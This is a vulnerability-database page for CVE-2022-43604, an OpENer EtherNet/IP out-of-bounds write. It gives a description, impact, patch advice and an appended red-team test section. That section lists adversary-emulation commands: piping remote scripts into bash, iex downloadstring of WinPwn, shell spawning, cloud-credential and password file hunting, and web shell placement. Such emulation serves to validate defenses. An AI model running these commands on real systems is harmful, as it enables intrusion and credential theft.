CVE-2022-43604
Overview
This vulnerability is an out-of-bounds write occurring within the GetAttributeList attribute_count_request function of the EIP Stack Group OpENer. The root cause is improper bounds checking on input parameters in the EtherNet/IP request handling code, leading to memory corruption. The affected component is the EtherNet/IP protocol stack implementation in the OpENer project, specifically in the processing of attribute count requests.
Vulnerability Description
An out-of-bounds write vulnerability exists in the GetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out-of-bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending crafted EtherNet/IP requests to cause an out-of-bounds write, resulting in server crashes or potentially arbitrary code execution. This can lead to denial of service or full system compromise. The attack requires only network access to the vulnerable EtherNet/IP service and no user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This poses a critical risk to operational continuity and system integrity in environments using the affected OpENer stack.
Solution
Users of EIP Stack Group OpENer should apply the patch referenced in the Talos Intelligence advisory TALOS-2022-1661, which addresses the out-of-bounds write in the GetAttributeList attribute_count_request functionality. The fix is included in versions released after commit 58ee13c. Administrators should consult the Talos advisory at https://talosintelligence.com/vulnerability_reports/TALOS-2022-1661 for detailed patching instructions and verify that their deployments are updated to a patched version to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified vulnerability within the EIP Stack Group OpENer relates to an out-of-bounds write condition that arises during the processing of EtherNet/IP requests, specifically within the GetAttributeList functionality. This flaw allows an attacker to manipulate the attribute_count_request parameter, leading to memory corruption. When the server processes a specially crafted request, it may write data outside the allocated memory bounds, which can result in unpredictable behavior. The severity of this vulnerability is underscored by its potential to cause server crashes or facilitate remote code execution, thereby compromising the integrity and availability of the affected system.
Attack vectors for this vulnerability are primarily centered around the EtherNet/IP protocol, which is widely used in industrial automation and control systems. An attacker could exploit this flaw by sending a series of malicious requests to the server, effectively triggering the out-of-bounds write condition. This could be accomplished from within the same network or remotely, depending on the network configuration and security measures in place. By crafting requests that manipulate the attribute_count_request parameter, an attacker could gain unauthorized access to the system, execute arbitrary code, or disrupt service, leading to significant operational disruptions.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the affected products for critical infrastructure and industrial operations. The potential for remote code execution poses a significant business risk, as it could lead to unauthorized control over industrial processes, data theft, or even physical damage to equipment. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is not only critical but also likely to be targeted by malicious actors. Organizations could face severe financial losses, reputational damage, and regulatory penalties if they fail to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify the presence of this flaw within their systems. Additionally, organizations should ensure that they are using the latest version of the affected software, as updates may contain patches that address this vulnerability. Network segmentation and the implementation of intrusion detection systems can further enhance security by limiting the exposure of critical systems to potential attackers. Educating staff about the risks associated with industrial control systems and the importance of maintaining security best practices is also essential in mitigating the impact of such vulnerabilities.
In conclusion, the out-of-bounds write vulnerability in the EIP Stack Group OpENer represents a significant threat to organizations utilizing this software in their operational environments. The potential for exploitation through crafted EtherNet/IP requests highlights the need for robust security measures and proactive risk management strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential threats and safeguard their critical infrastructure.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Opener Project | Opener | All |
cpe:2.3:a:opener_project:opener:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-43604 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2022-1661 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1661 |